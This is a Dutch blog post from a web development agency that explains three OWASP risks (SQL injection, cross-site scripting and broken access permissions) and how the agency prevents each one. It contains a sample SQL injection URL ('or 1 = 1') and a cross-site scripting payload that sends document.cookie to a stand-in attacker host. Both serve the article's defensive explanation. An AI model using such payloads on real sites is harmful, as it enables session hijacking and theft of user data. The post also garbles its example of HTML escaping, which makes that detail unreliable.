Voorkom een onbeveiligde achterdeur in je webapplicatie!

Foto van een deur

De voordeur doe je altijd achter je dicht. En ook je fiets of auto laat je nooit zonder slot achter. Voor webapplicaties zou dit niet anders moeten zijn. Toch hebben giganten als Facebook en LinkedIn allemaal hun datalekken gehad, omdat iemand was vergeten een deur of raam te sluiten. Bij de ontwikkeling van een webapplicatie is het daarom belangrijk je altijd bewust te zijn van mogelijke gevaren en hoe je deze kunt voorkomen.

De OWASP top 10 helpt ons om al tijdens de ontwikkeling van webapplicaties kwetsbare plekken te voorkomen. OWASP staat voor Open Web Application Security Project. En de top 10 is een lijst van meest kritische kwetsbaarheden bij webapplicaties. In dit artikel lichten we drie kwetsbaarheden uit en vertellen we wat wij doen om ze te voorkomen. Zo zorgen wij ervoor dat inbrekers niet van een openstaand deurtje gebruik kunnen maken.

1. Data toegang via SQL-injectie

Injecties zijn volgens de OWASP top 10 nog steeds het grootste beveiligingsrisico voor webapplicaties. Met een injectie geeft een kwaadwillende extra waardes mee in de adresbalk van de browser. De code van de website leest deze waardes uit. Als de backend deze gegevens vervolgens klakkeloos overneemt, dan krijgt de hacker mogelijk toegang tot databases of andere data die hij niet hoort te zien. Gegevens van bijvoorbeeld personen of bedrijven kunnen dan gestolen worden.

Voorbeeld

Een pagina heeft als URL: https://www.voorbeeld.com/facturen?relatie_id=2 Het stukje ‘relatie_id=2’ geeft de backend informatie over welke facturen getoond moeten worden. Maar wat als we daar eens https://www.voorbeeld.com/facturen?relatie_id=2%20or%201%20=%201 van proberen te maken? Dan krijgt de onderliggende code mogelijk de instructie om álle facturen te vertonen, dus ook van andere relaties.

Wat doet Bitfactory?
Bij Bitfactory gebruiken we een vast framework voor de programmeertaal. Dit framework bestaat uit vooropgestelde softwarecomponenten en coding conventies waardoor bepaalde zaken standaard worden afgevangen. Hiermee voorkomen we deze kwetsbaarheid. Developers hoeven er in principe dus geen rekening mee te houden tijdens het ontwikkelproces. Natuurlijk lopen we achteraf alles nog wel een keer na. Je kunt tenslotte nooit zeker genoeg zijn.

2. Identiteit overnemen via cross-site scripting

Door javascript te injecteren in een website kan een kwaadwillende data stelen. Stel, je hebt een site met een forum en een hacker maakt een comment of een post met daarin javascript geïnjecteerd. Als een andere gebruiker de pagina opent, wordt het script uitgevoerd. Hiermee kunnen mogelijk sessiegegevens van de gebruiker naar de hacker verstuurd worden. De aanvaller kan daarmee een sessie kapen en zich voordoen als iemand anders. Hij kan bijvoorbeeld producten bestellen op een andere naam en heeft toegang tot de gegevens van de gebruiker.

Voorbeeld

In de post zet de hacker: “Dit is een mooie post, vinden jullie ook niet? document.location=’http://www.attacker.com/cgi-bin/cookie.cgi?foo=’+document.cookie”.
Deze code wordt mogelijk uitgevoerd bij degene die het bericht opent. De code instrueert de browser cookiegegevens te sturen naar de aanvaller. Hiermee krijgt deze toegang tot de sessiegegevens van de gebruiker.

Wat doet Bitfactory?
Net als de SQL-injectie, voorkomen we ook dit probleem door gebruik te maken van een framework voor de programmeertaal. Hierin wordt output – wat in de browser wordt getoond – netjes omgezet naar niet uitvoerbare code. Bijvoorbeeld ‘<’ wordt omgezet in ‘<script>’ zodat het teken niet gebruikt kan worden om scripts uit te voeren. Instructies meegeven in comments of op een forum is daardoor zinloos.

3. Sensitive data exposure door verkeerde permissies

Op een website met logins proberen beheerders vaak de toegang te beperken op basis van rollen en rechten. Zo heeft een ‘user’ vaak minder gebruikersrechten dan een ‘admin’. Toch komt het nog vaak voor dat er niet goed gecontroleerd wordt welke rol een gebruiker heeft. Of er zijn bijvoorbeeld functies die alleen een ‘admin’ zou moeten hebben, die per ongeluk toch toegankelijk zijn voor ‘users’. Een aanvaller kan hierdoor mogelijk zaken op een website veranderen of – erger – gevoelige data inzien en stelen.

Wat doet Bitfactory?
Voordat we starten met een project, brengen we de rollen en rechten altijd goed in kaart. Daarnaast scheiden we altijd de front-end gebruikers – dus de eindgebruikers van de applicatie – en CMS-gebruikers. Hierdoor kunnen eindgebruikers geen aanpassingen doen in het CMS. De kern van dit beleid is dat er bewustzijn is van de rollen en rechten. En dat deze door de gehele applicatie heen worden nageleefd. Ook als we een nieuw onderdeel ontwikkelen, handhaven we deze rollen- en rechtenverdeling. Tot slot controleren we de code per functionaliteit op de permissies per rol.

Wat doen we nog meer om je webapplicatie veilig te houden?

Natuurlijk houden we bij Bitfactory rekening met nog veel meer aspecten rondom applicatieveiligheid. Alleen de OWASP al bevat nog zeven andere risico’s voor webapplicaties. De top 10 verandert overigens regelmatig omdat technologie verbetert of er nieuwe risico’s bijkomen. Bij Bitfactory zijn we op de hoogte van de laatste ontwikkelingen omtrent de OWASP en hebben we een passende oplossing voor ieder gevaar.

Maar we gaan verder. Als ISO-27001 gecertificeerd bureau zit het beschermen van persoonsgegevens in het DNA van onze organisatie. Daardoor kun je erop vertrouwen dat we er alles aan doen om de veiligheid van klantdata te borgen in het ontwikkelproces.

Meer weten over databeveiliging? Neem gerust contact op, we vertellen je er graag meer over.

Ja, ik wil graag meer weten over een sessie voor mijn organisatie!

"*" geeft vereiste velden aan

Hidden
Privacy*
Als je dit formulier wil verzenden, moet je onze Privacyverklaring accepteren
Dit veld is bedoeld voor validatiedoeleinden en moet niet worden gewijzigd.